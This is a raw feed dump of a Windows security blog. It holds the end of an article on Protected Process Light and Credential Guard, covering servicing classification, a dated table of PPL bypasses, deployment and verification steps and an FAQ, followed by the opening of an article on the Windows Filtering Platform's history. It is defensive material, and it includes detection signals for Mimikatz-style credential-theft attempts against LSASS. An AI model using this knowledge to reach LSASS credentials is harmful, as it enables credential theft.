&lt;p&gt;The two mechanisms stack rather than overlap. PPL prevents an admin from &lt;code&gt;OpenProcess(PROCESS_VM_READ, lsass)&lt;/code&gt; at the user-mode lattice level. Credential Guard prevents a kernel-mode attacker who &lt;em&gt;succeeds&lt;/em&gt; against PPL from finding the keys, because the keys are in VTL1 memory that the VTL0 kernel cannot read at all. itm4n&apos;s &quot;complementary&quot; framing in the RunAsPPL writeup is the right operational summary [@itm4n-runasppl]: deploy both, always both.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; PPL gates user-mode admins out of LSASS code memory. Credential Guard gates everything else (kernel-mode attackers, BYOVDLL execution-at-PPL/Lsa) out of the secrets themselves by moving the secrets to VTL1. Each mechanism answers a layer of the threat model the other does not.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;PPL (LSA protection)&lt;/th&gt;
&lt;th&gt;Credential Guard&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Threat model&lt;/td&gt;
&lt;td&gt;Administrator -&amp;gt; user-mode LSASS&lt;/td&gt;
&lt;td&gt;VTL0 kernel + admin -&amp;gt; credential material&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Layer&lt;/td&gt;
&lt;td&gt;VTL0 user-mode lattice&lt;/td&gt;
&lt;td&gt;VTL0 / VTL1 VBS boundary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel-mode attacker&lt;/td&gt;
&lt;td&gt;Cannot stop them&lt;/td&gt;
&lt;td&gt;Stops them (VBS-isolated memory)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSRC classification&lt;/td&gt;
&lt;td&gt;Defense in depth&lt;/td&gt;
&lt;td&gt;Security boundary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default-on (consumer)&lt;/td&gt;
&lt;td&gt;Audit mode, Win11 22H2&lt;/td&gt;
&lt;td&gt;n/a (enterprise)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default-on (enterprise)&lt;/td&gt;
&lt;td&gt;Audit mode, Win11 22H2&lt;/td&gt;
&lt;td&gt;Enabled, Win11 22H2 / Win Server 2025 (domain-joined non-DC)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

The architecture of `LsaIso.exe`, its trustlet ID, its IUM EKU, and the hypercall plumbing between LSASS and the trustlet are the subject of a separate article in this series (&quot;VBS Trustlets: What Actually Runs in the Secure Kernel&quot;). The cross-link is deliberate: PPL and Credential Guard are paired in practice, but the architectural depth of VTL1 is its own subject.
&lt;p&gt;Credential Guard&apos;s default-on rollout, recorded in Microsoft Learn [@learn-cg]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Starting in Windows 11, 22H2 and Windows Server 2025, Credential Guard is enabled by default on domain-joined, non-DC systems that meet hardware requirements.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Two stacked mechanisms; one classified as a security boundary, one not. The next section asks what the classification means.&lt;/p&gt;
&lt;h2&gt;10. Where PPL Isn&apos;t a Security Boundary -- Microsoft&apos;s Servicing Criteria&lt;/h2&gt;
&lt;p&gt;Gabriel Landau&apos;s &quot;Inside Microsoft&apos;s Plan to Kill PPLFault&quot; essay states the classification in one sentence [@elastic-pplfault]:&lt;/p&gt;

Microsoft does not consider PPL to be a security boundary, meaning they won&apos;t prioritize security patches for code-execution vulnerabilities discovered therein, but they have historically addressed some such vulnerabilities on a less-urgent basis.
&lt;p&gt;Microsoft&apos;s &quot;Windows Security Servicing Criteria&quot; defines the term &lt;em&gt;security boundary&lt;/em&gt; directly [@msrc-servicing]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A security boundary provides a logical separation between the code and data of security domains with different levels of trust. For example, the separation between kernel mode and user mode is a classic [...] security boundary.&lt;/p&gt;
&lt;/blockquote&gt;

A logical separation between code and data of security domains with different levels of trust. Microsoft commits to servicing security boundary violations with out-of-band patches when the severity bar is met. The kernel-mode / user-mode separation is the canonical example. Per Microsoft&apos;s published servicing criteria, PPL is *not* on the security-boundary list.

A security feature that raises the cost of an attack without guaranteeing prevention. Microsoft treats defense-in-depth features as servicing targets on the standard cumulative-update cadence, not as out-of-band patch priorities. PPL falls into this category per Microsoft&apos;s published classification.
&lt;p&gt;The relevant excerpts of the criteria page enumerate which surfaces are and are not boundaries. The live MSRC page renders that enumeration table client-side via JavaScript; the raw HTML returned by automated fetchers contains only the React shell. The text of the enumeration is preserved in the Wayback Machine capture at archive date 2023-05-06 [@msrc-criteria-archive], and Landau&apos;s follow-on Elastic post quotes the relevant administrative-process row verbatim [@elastic-byovd-admin]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Administrative processes and users are considered part of the Trusted Computing Base (TCB) for Windows and are therefore not strong[ly] isolated from the kernel boundary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The corresponding row for PPL is the same shape: administrative-process-to-PPL is not isolated as a security boundary. Landau filed VULN-074311 with MSRC in September 2022 disclosing both an admin-to-PPL and a PPL-to-kernel zero-day. The Elastic post records MSRC&apos;s classification of the disclosure verbatim [@elastic-byovd-admin]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;MSRC similarly does not consider admin-to-PPL a security boundary, instead classifying it as a defense-in-depth security feature.&lt;/p&gt;
&lt;/blockquote&gt;

The MSRC servicing-criteria page&apos;s *definition* of &quot;security boundary&quot; is retrievable from raw HTML and verified against the live page. The *enumeration* of which Windows surfaces are or are not boundaries lives in a client-side rendered table and is not present in the raw HTML payload. The verifiable trail for &quot;PPL is excluded from the boundary list&quot; is the Wayback Machine capture combined with Elastic&apos;s verbatim quotation of MSRC&apos;s classification.
&lt;p&gt;The operational consequence is direct. A published PPL bypass does not trigger an out-of-band patch. It is fixed on the next major-release cadence, sometimes faster if Microsoft has internal motivation. The disclosure-to-fix half-lives are public record:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bypass&lt;/th&gt;
&lt;th&gt;Disclosed&lt;/th&gt;
&lt;th&gt;Microsoft fix&lt;/th&gt;
&lt;th&gt;Disclosure-to-fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Forshaw 2018 JScript-into-PPL&lt;/td&gt;
&lt;td&gt;Oct 2018&lt;/td&gt;
&lt;td&gt;Apr 2018 (1803, pre-disclosure)&lt;/td&gt;
&lt;td&gt;~0 months (Microsoft fixed first)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;itm4n 2021 PPLdump (KnownDlls)&lt;/td&gt;
&lt;td&gt;Apr 2021&lt;/td&gt;
&lt;td&gt;Jul 2022 (build 19044.1826)&lt;/td&gt;
&lt;td&gt;~15 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Landau 2023 PPLFault (CI TOCTOU)&lt;/td&gt;
&lt;td&gt;Apr-Sep 2023&lt;/td&gt;
&lt;td&gt;Feb 2024 (GA)&lt;/td&gt;
&lt;td&gt;~5-11 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;itm4n 2024 BYOVDLL (KeyIso chain)&lt;/td&gt;
&lt;td&gt;Aug 2024&lt;/td&gt;
&lt;td&gt;none (open, CVE-by-CVE)&lt;/td&gt;
&lt;td&gt;open&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A correctly classified PPL bypass is fixed on the standard cumulative-update cadence, not out-of-band. The implication for defenders is operational: PPL is exactly as strong as the engineering velocity Microsoft chooses to invest in it. Treat detection (Section 11) and the Credential Guard companion (Section 9) as load-bearing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The reader takeaway is the third Aha moment of the article. PPL is real, kernel-enforced, structurally elegant, and demonstrably effective against the threat it was designed for (administrator-from-user-mode reads of LSASS). It is also explicitly &lt;em&gt;not&lt;/em&gt; a security boundary per Microsoft&apos;s own published servicing policy, and that classification is the most important fact about it. Plan for bypasses. Stack with Credential Guard. Treat detection as primary, not secondary.&lt;/p&gt;
&lt;h2&gt;11. Practical Guide -- Configuring, Verifying, and Monitoring PPL&lt;/h2&gt;
&lt;p&gt;If you are deploying PPL on a corporate fleet, run this checklist. The order is deliberate: audit before enforce, verify before trust the verifier, and detect because no static control survives unmotivated.&lt;/p&gt;
&lt;h3&gt;Deploy&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Enable &lt;code&gt;AuditLevel = 8&lt;/code&gt; under &lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe&lt;/code&gt; for two months [@learn-runasppl]. This is a &lt;em&gt;different&lt;/em&gt; registry hive from &lt;code&gt;RunAsPPL&lt;/code&gt; (which lives under &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Lsa&lt;/code&gt;); mixing the two values up is the most common Stage 0 deployment error (see §6). Collect CodeIntegrity events 3065 and 3066 to enumerate every LSASS plug-in that would fail enforcement (smart-card middleware, third-party CSPs, password-filter DLLs). Re-sign or replace the failing modules. Set &lt;code&gt;RunAsPPL = 1&lt;/code&gt; on Secure Boot-capable machines; the kernel automatically stores the policy in a UEFI variable. &lt;code&gt;RunAsPPL = 2&lt;/code&gt; (Win11 22H2+) is the softer option that omits the UEFI variable for environments requiring admin-removable protection.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; For third-party EDR, confirm the agent daemon runs at &lt;code&gt;PPL/Antimalware&lt;/code&gt; (signer rung 3, byte &lt;code&gt;0x31&lt;/code&gt;). Process Explorer exposes this via View -&amp;gt; Select Columns -&amp;gt; Protection. System Informer (the modern Process Hacker fork that itm4n recommends in his BYOVDLL writeup [@itm4n-ghost-part1]) shows the same field in its process list. If your EDR is &lt;em&gt;not&lt;/em&gt; running at &lt;code&gt;PPL/Antimalware&lt;/code&gt;, it does not have the kernel&apos;s protection against admin tampering even when its vendor claims &quot;protected&quot; in marketing material. Process Explorer&apos;s &quot;Protection&quot; column ships in the canonical Sysinternals distribution [@sysinternals-procexp]; it reads &lt;code&gt;EPROCESS.Protection&lt;/code&gt; via the &lt;code&gt;NtQueryInformationProcess&lt;/code&gt; entry point [@learn-ntqueryinfoproc], although the specific &lt;code&gt;ProcessProtectionInformation&lt;/code&gt; information-class value is not enumerated in the public Learn &lt;code&gt;PROCESSINFOCLASS&lt;/code&gt; table -- the value is community-documented from Windows headers and reverse engineering rather than from a Microsoft Learn API reference.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Verify&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; On a host you suspect of misconfiguration, attach WinDbg to the kernel and run &lt;code&gt;!process 0 7 lsass.exe&lt;/code&gt;. The output includes the &lt;code&gt;_PS_PROTECTION&lt;/code&gt; byte. Decode it with the formula from §3 above: &lt;code&gt;((value &amp;amp; 0xF0) &amp;gt;&amp;gt; 4)&lt;/code&gt; is the signer rung; &lt;code&gt;value &amp;amp; 0x07&lt;/code&gt; is the type; &lt;code&gt;(value &amp;gt;&amp;gt; 3) &amp;amp; 1&lt;/code&gt; is the audit bit. A &lt;code&gt;RunAsPPL = 1&lt;/code&gt; host yields &lt;code&gt;0x41&lt;/code&gt; (PPL + Lsa). The Defender service yields &lt;code&gt;0x31&lt;/code&gt; (PPL + Antimalware). &lt;code&gt;csrss.exe&lt;/code&gt; yields &lt;code&gt;0x61&lt;/code&gt; (PPL + WinTcb). If &lt;code&gt;lsass.exe&lt;/code&gt; shows &lt;code&gt;0x00&lt;/code&gt;, the registry policy did not take effect on this boot.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;{&lt;code&gt;function decode(b) {   const t = b &amp;amp; 0x07, a = (b &amp;gt;&amp;gt; 3) &amp;amp; 0x01, s = (b &amp;gt;&amp;gt; 4) &amp;amp; 0x0F;   const tn = [&apos;None&apos;, &apos;ProtectedLight&apos;, &apos;Protected&apos;];   const sn = [&apos;None&apos;,&apos;Authenticode&apos;,&apos;CodeGen&apos;,&apos;Antimalware&apos;,               &apos;Lsa&apos;,&apos;Windows&apos;,&apos;WinTcb&apos;,&apos;Max&apos;];   return &apos;0x&apos; + b.toString(16).padStart(2,&apos;0&apos;) + &apos; = &apos; +          (sn[s] || s) + &apos;-&apos; + (tn[t] || t) +          (a ? &apos; (Audit on)&apos; : &apos;&apos;); } // Three benchmark values you should be able to recognise by sight console.log(decode(0x31)); // MsMpEng.exe (Defender at PPL/Antimalware) console.log(decode(0x41)); // lsass.exe under RunAsPPL=1 console.log(decode(0x61)); // csrss.exe (PPL/WinTcb)&lt;/code&gt;}&lt;/p&gt;
&lt;h3&gt;Monitor&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The CodeIntegrity provider emits three event IDs that matter for PPL monitoring [@learn-runasppl]: | Event ID | Provider | What it tells you | |---|---|---| | 3033 | Microsoft-Windows-CodeIntegrity | A DLL load was blocked by CI (PPL or otherwise) | | 3063 | Microsoft-Windows-CodeIntegrity | Enforcement-mode: LSASS plug-in failed the shared-section security requirement (complement of audit-mode event 3065) | | 3065 | Microsoft-Windows-CodeIntegrity | LSASS plug-in failed the shared-section requirement | | 3066 | Microsoft-Windows-CodeIntegrity | LSASS plug-in failed the Microsoft signing level requirement | Sysmon Event 10 (ProcessAccess) captures &lt;code&gt;OpenProcess&lt;/code&gt; denials with the requested access mask and is the cheapest detection for a Mimikatz-shaped attempt against an RunAsPPL-protected &lt;code&gt;lsass.exe&lt;/code&gt;. A burst of 3033 events from a non-Microsoft process targeting &lt;code&gt;lsass.exe&lt;/code&gt; is the canonical signal that a PPL bypass attempt is under way.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; PPL prevents admin-from-user-mode reads of LSASS. Credential Guard prevents kernel-mode reads of the credentials themselves (and BYOVDLL-style execution at PPL/Lsa). Deploy both. itm4n&apos;s &quot;complementary&quot; framing in his RunAsPPL writeup [@itm4n-runasppl] is the right operational model. On Win11 22H2 and Windows Server 2025, Credential Guard is default-on for domain-joined non-DC systems with VBS-capable hardware [@learn-cg]; on older fleets, enable it explicitly via Group Policy or the Device Guard / Credential Guard configuration script. Always both -- either alone leaves a layer of the threat model uncovered.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you are an EDR vendor wanting your daemon to run at &lt;code&gt;PPL/Antimalware&lt;/code&gt;, the path is fixed [@learn-mvi] [@learn-am-services]: 1. Hold Microsoft Virus Initiative membership; maintain independent-lab certification (AV-Comparatives, AV-Test, SE Labs, MRG Effitas, SKD Labs, VB 100, West Coast Labs, AVLab Cybersecurity Foundation). 2. Author an ELAM driver with an embedded &lt;code&gt;&amp;lt;ELAM&amp;gt;&lt;/code&gt; resource section enumerating your user-mode binary signing-certificate hashes. 3. Submit the driver through WHQL for Microsoft co-signing. 4. Use Trusted Signing for your user-mode binaries. 5. Verify with Process Explorer that the service launches at &lt;code&gt;PPL/Antimalware&lt;/code&gt; after install.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Practitioners who follow the checklist still need to know the common misconceptions. The next section catalogues them.&lt;/p&gt;
&lt;h2&gt;12. FAQ -- Common Misconceptions&lt;/h2&gt;
&lt;p&gt;Seven questions practitioners ask after their first PPL deployment.&lt;/p&gt;

Yes for full-access termination via `OpenProcess(PROCESS_TERMINATE, ...)`; an admin without a higher signer rung cannot terminate a `PPL/Antimalware` daemon by a direct kill. No for legitimate uninstall: the vendor&apos;s MSI installer (or equivalent) typically signals the daemon to shut itself down through its own service-control path, which is gated by ACL and not by the PPL lattice. Operationally, expect administrators to be able to uninstall your EDR but not to terminate its main process from outside the vendor toolchain.

No. itm4n&apos;s verbatim warning is worth repeating [@itm4n-runasppl]: &quot;I noticed that this protection tends to be confused with Credential Guard, which is completely different.&quot; PPL protects `lsass.exe` *as a process* from admin-from-user-mode reads. Credential Guard moves the *credentials themselves* into VTL1 memory via VBS. PPL is a VTL0 user-mode lattice control. Credential Guard is a VTL0 / VTL1 hypervisor boundary. They stack; see Section 9 for the layering and Section 11 Item 5 for the deployment recommendation.

Because Microsoft has not classified PPL as a security boundary. The Windows Security Servicing Criteria define a security boundary as a logical separation between security domains at different levels of trust, and Microsoft&apos;s published enumeration excludes administrative-process-to-PPL from that list [@msrc-servicing] [@elastic-byovd-admin]. PPL is treated as a defense-in-depth feature. The operational implication is that PPL bypasses are fixed on the next major release cadence rather than out-of-band, with disclosure-to-fix half-lives ranging from approximately five to fifteen months historically (see Section 10 for the data).

Practically no for non-AV applications. The protected-process EKU OIDs are gated by Microsoft&apos;s certificate authorities; only the Antimalware rung admits third-party certificates, and admission is mediated by ELAM driver + Microsoft Virus Initiative membership [@learn-mvi]. Hobbyist tooling cannot opt in. There is no public path for a non-AV third-party application to claim a PPL rung. If your application requires PPL-style anti-tampering, the realistic options are (a) become an MVI member if your application is an AV/EDR, (b) use Process Mitigation Policies such as Code Integrity Guard for code-injection resistance, or (c) deploy your sensitive operations inside a separate Microsoft-signed service.

&quot;Protected service&quot; is informal terminology for a Windows service whose host process runs as a PPL, with the Service Control Manager configured to launch it at a specific signer rung. The deployment plumbing (SCM service configuration, service-DLL packaging, the signing of the host binary) is what makes a service &quot;protected.&quot; The PPL machinery is what makes the host process actually resistant to tampering. The two terms describe the same thing from different angles -- one from the SCM-management view, one from the kernel-access-check view.

Only if the smart-card middleware DLL is not signed at the LSA level (signer rung 4). Most major smart-card vendors have updated their middleware to be Microsoft-signed at the required level, but legacy or in-house middleware frequently fails enforcement. The recommended workflow is to run `AuditLevel = 8` for two months [@learn-runasppl], collect CodeIntegrity 3065 / 3066 events, enumerate the failing modules, re-sign or replace them, and only then switch to `RunAsPPL = 1`. Skipping the audit period is the single most common cause of authentication outages during LSA protection rollouts.

Because the threat model PPL answers is *administrator-from-user-mode*, not *administrator-from-kernel-mode*. PPL is a kernel-enforced gate in the access-check pipeline, but a kernel-mode driver that can write to `EPROCESS.Protection` can zero the byte and disable the gate for any process. The defense against the kernel-mode attacker is a different mechanism: VBS-isolated credentials in VTL1 (Credential Guard), with HVCI / kernel-mode integrity controls preventing arbitrary kernel-mode code from running in the first place. PPL stops one threat; Credential Guard stops the threat one rung up; and the two are intended to be deployed together (Section 9, Section 11 Item 5).
&lt;p&gt;The arc has run from a single Mimikatz error code to a kernel-enforced lattice, a third-party admission path mediated by ELAM and MVI, an arms race shaped by a single structural insight that the kernel verifies the channel and not the behaviour, and a stacked companion boundary that lives in VTL1 because VTL0 has run out of places to hide a key. PPL is not a security boundary. That classification is not a footnote; it is the most important fact about it, because it tells defenders that the mechanism is exactly as strong as the engineering velocity Microsoft chooses to invest. Deploy it. Stack it with Credential Guard. Monitor for the next bypass.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The kernel verifies the channel. It does not verify the behaviour. Every PPL bypass since 2018 has lived in that seam, every fix has narrowed the channel, and the seam survives because behaviour is, by Rice&apos;s theorem, structurally outside what static signature verification can reason about.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;protected-process-light-the-ppl-signer-hierarchy-from-wintcb-to-antimalware&quot; keyTerms={[
  { term: &quot;Protected Process Light (PPL)&quot;, definition: &quot;A kernel-enforced gating model decorating a process with a structured protection level (Type, Audit, Signer) and rejecting OpenProcess requests from callers below the target&apos;s signer rung.&quot; },
  { term: &quot;_PS_PROTECTION byte&quot;, definition: &quot;The EPROCESS field encoding Type (3 bits), Audit (1 bit), Signer (4 bits) in a single UCHAR; read on every NtOpenProcess.&quot; },
  { term: &quot;Signer rung&quot;, definition: &quot;The four-bit Signer field of _PS_PROTECTION naming the trust tier of a protected process; values include Authenticode, Antimalware, Lsa, Windows, and WinTcb.&quot; },
  { term: &quot;RunAsPPL&quot;, definition: &quot;The HKLM\SYSTEM\CurrentControlSet\Control\Lsa registry knob that launches lsass.exe at PPL/Lsa on the next boot; value 1 anchors the policy in a UEFI variable on Secure Boot machines.&quot; },
  { term: &quot;ELAM&quot;, definition: &quot;Early Launch Anti-Malware driver -- a Microsoft-certified kernel driver that enrolls a vendor&apos;s user-mode signing certificates at PPL/Antimalware via an embedded resource section.&quot; },
  { term: &quot;BYOVDLL&quot;, definition: &quot;Bring Your Own Vulnerable DLL -- a bypass class against signature-gated security mechanisms in which the attacker loads a legitimately signed but historically vulnerable binary and exploits the known vulnerability inside it.&quot; },
  { term: &quot;Credential Guard&quot;, definition: &quot;A VBS-based isolation mechanism that moves NTLM hashes, Kerberos TGT keys, and Cred Manager credentials out of lsass.exe and into LsaIso.exe in VTL1.&quot; },
  { term: &quot;Security boundary (MSRC)&quot;, definition: &quot;Per Microsoft&apos;s published servicing criteria, a logical separation between code and data of security domains at different trust levels; PPL is excluded from this list and treated as defense in depth.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>protected-process-light</category><category>lsass</category><category>credential-guard</category><category>kernel-security</category><category>edr</category><category>mimikatz</category><category>security-boundary</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Windows Filtering Platform: The Kernel-Mode Firewall You Don&apos;t See</title><link>https://paragmali.com/blog/windows-filtering-platform-the-kernel-mode-firewall-you-dont/</link><guid isPermaLink="true">https://paragmali.com/blog/windows-filtering-platform-the-kernel-mode-firewall-you-dont/</guid><description>The Windows Filtering Platform is the kernel-mode engine under wf.msc, IPsec, WinNAT, the Hyper-V vSwitch, and every modern Windows EDR.</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Open &lt;code&gt;wf.msc&lt;/code&gt;. Right-click &quot;Inbound Rules,&quot; click &quot;New Rule,&quot; fill in the form, click OK. You think you just configured a firewall. What you actually did was register one filter, inside one sublayer, at one of roughly sixty filtering layers in the kernel-mode classification path of a platform you have never named. The same platform is also running IPsec, container networking, Microsoft Defender for Endpoint&apos;s network protection, and every third-party EDR&apos;s network-telemetry pipeline on the Windows host you are using right now.&lt;/p&gt;

The Windows Filtering Platform (WFP) is the kernel- and user-mode service Microsoft shipped with Windows Vista in November 2006 to replace four mutually-incompatible XP-era hooks: NDIS intermediate drivers, the filter-hook IOCTL on `\Device\Ipfilterdriver`, Winsock Layered Service Providers, and TDI filter drivers. It is the substrate beneath Windows Defender Firewall, Windows IPsec, WinNAT, the Hyper-V Extensible Switch, Defender for Endpoint Network Protection, and every third-party EDR&apos;s network telemetry. WFP is not a firewall. It is the platform that a firewall is one consumer of. It arbitrates competing security products deterministically through 64-bit filter weights inside priority-ordered sublayers, and that arbitration model is the load-bearing reason third-party callouts can finally coexist on the same host. The same kernel-extensibility tax that doomed the pre-WFP hooks now resurfaces as a steady drip of Base Filtering Engine elevation-of-privilege CVEs (CVE-2023-29368, CVE-2024-38034) -- the running cost of a platform sophisticated enough to host every downstream network-security feature Windows ships.
&lt;h2&gt;1. You Just Clicked OK on Sixty Filtering Layers&lt;/h2&gt;
&lt;p&gt;The firewall UI is the visible one percent of WFP. Almost every modern Windows network-security feature is a configuration of the same engine.&lt;/p&gt;
&lt;p&gt;That is the central claim of this article, and it is the kind of statement that sounds like marketing until you trace the actual wires. Trace them once and you stop seeing &quot;Windows Defender Firewall&quot; and &quot;IPsec&quot; and &quot;Windows containers&quot; as separate products. They are all clients of the same kernel/user-mode service, configuring the same filter engine, arbitrated by the same Base Filtering Engine, classified across the same approximately sixty &lt;code&gt;FWPM_LAYER_*&lt;/code&gt; identifiers [@wfp-layers].&lt;/p&gt;

Microsoft&apos;s cross-mode network-traffic filtering service introduced in Windows Vista and Windows Server 2008. WFP &quot;is designed to replace previous packet filtering technologies such as Transport Driver Interface (TDI) filters, Network Driver Interface Specification (NDIS) filters, and Winsock Layered Service Providers (LSP)&quot; [@wfp-start]. The platform has five components: the Filter Engine, the Base Filtering Engine, a set of kernel-mode shims, callout drivers, and the management API [@wfp-about].

A Windows service named `bfe` that, in Microsoft&apos;s own words, &quot;controls the operation of the Windows Filtering Platform&quot; and &quot;plumbs configuration settings to other modules in the system. For example, IPsec negotiation polices go to IKE/AuthIP keying modules, filters go to the filter engine&quot; [@wfp-about]. The BFE is not the Windows Firewall. The Windows Firewall is a separate service (`MpsSvc`) that talks to the BFE.
&lt;p&gt;The naming is the first thing that trips readers. There is a service called BFE and a service called MpsSvc. They live in different rows of &lt;code&gt;Get-Service&lt;/code&gt; output. They have different binary backings. The dependency arrow runs one way: MpsSvc requires BFE, never the other direction. That asymmetry, which seems pedantic, turns out to be load-bearing for the rest of the story. WFP is the platform. The firewall is a tenant.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The firewall UI is the visible one percent of WFP. Almost every modern Windows network-security feature -- Windows Defender Firewall with Advanced Security, Windows IPsec, WinNAT and container networking, the Hyper-V Extensible Switch, Microsoft Defender for Endpoint Network Protection, every third-party EDR with a network filter -- is a configuration of the same engine [@forshaw-2021].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If WFP is the engine, what was there before it? Why did Microsoft need to build a platform when Windows XP SP2 had already shipped a firewall?&lt;/p&gt;
&lt;h2&gt;2. Before WFP -- An Internet on Fire&lt;/h2&gt;
&lt;p&gt;April 2004. Sasser is propagating through the LSASS RPC interface on port 445, infecting unpatched Windows machines within minutes of their first cable plug. Microsoft has just shipped Windows XP SP2, with the Internet Connection Firewall rebranded as &quot;Windows Firewall&quot; and turned on by default for the first time [@wiki-winfw].Wikipedia notes that &quot;the ongoing prevalence of these worms through 2004 resulted in unpatched machines being infected within a matter of minutes,&quot; and that Microsoft &quot;switched it on by default since Windows XP SP2.&quot; XP SP2 reached general availability on August 25, 2004 [@wiki-winfw]. That fixed the worm problem. It did not fix the plumbing problem.&lt;/p&gt;
&lt;p&gt;The plumbing problem was that third-party security vendors were already hooking the Windows network stack at four different, mutually incompatible places, none of which arbitrated with the others. ZoneAlarm, Norton Internet Security, McAfee, Kerio, Check Point, BlackICE, and a dozen others were shipping kernel drivers that bolted onto Windows wherever they could find a callable surface [@wiki-winfw][@forshaw-2021]. They picked four families.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Network Driver Interface Specification (NDIS) intermediate drivers.&lt;/strong&gt; NDIS 5.x exposed a profile called the intermediate driver that sat below the protocol stack and above the miniport. A vendor could install a driver that saw every Ethernet frame on the way up and every IP packet on the way down. The price was complexity: NDIS intermediate drivers had to participate in the entire NDIS binding state machine, and Microsoft&apos;s own documentation later admitted that the model was painful enough that the platform team replaced it with the much simpler NDIS Lightweight Filter (LWF) in NDIS 6.0 [@ndis-filter].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Filter-hook drivers on &lt;code&gt;\Device\Ipfilterdriver&lt;/code&gt;.&lt;/strong&gt; The IP filter driver exposed a single IOCTL, &lt;code&gt;IOCTL_PF_SET_EXTENSION_POINTER&lt;/code&gt;, that registered a single callback function the kernel would invoke on every received or transmitted IP packet [@ipfilter-legacy]. There was one callback pointer per machine. IPv4 only. Network layer only. No documented contract for what happened when a second vendor registered.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Winsock Layered Service Providers (LSPs).&lt;/strong&gt; A user-mode shim chained into every Winsock application, in process. LSPs had access to per-application context, but their cost was paid in blast radius: Microsoft&apos;s own categorisation guide warned that &quot;certain system critical processes such as winlogon and lsass create sockets&quot; and that &quot;a number of cases have also been documented where buggy LSPs can cause &lt;code&gt;lsass.exe&lt;/code&gt; to crash. If lsass crashes, the system forces a shutdown&quot; [@lsp-categories].&lt;/p&gt;

A user-mode DLL that chains into the Winsock service-provider stack of every process that opens a socket. LSPs were the Windows mechanism for content inspection and per-application network rules before Vista. They are still installable, but Microsoft&apos;s documentation now categorises which processes must not load them because of the lsass-crash failure mode [@lsp-categories].
&lt;p&gt;&lt;strong&gt;TDI filter drivers.&lt;/strong&gt; The Transport Driver Interface, the legacy kernel interface above TCP/IP, supported a filter-driver pattern that preserved application identity and could veto connections at the transport. It was the cleanest of the four options. It also stopped being a viable target the moment Microsoft deprecated TDI in Vista: &quot;The TDI feature is deprecated and will be removed in future versions of Microsoft Windows. Depending on how you use TDI, use either the Winsock Kernel (WSK) or Windows Filtering Platform (WFP)&quot; [@tdi-legacy].&lt;/p&gt;
&lt;p&gt;Four hooks, four failure modes, no arbitration between any of them. In May 2006 Madhurima Pawar and Eric Stenson of Windows Networking walked the WinHEC audience through one number that captured the consequence: firewall and antivirus conflicts accounted for 12 percent of all Windows operating-system crashes [@pawar-stenson-winhec].&lt;/p&gt;

Reduces firewall and anti-virus crashes -- 12% of all OS crashes. -- Madhurima Pawar and Eric Stenson, WinHEC 2006 [@pawar-stenson-winhec]
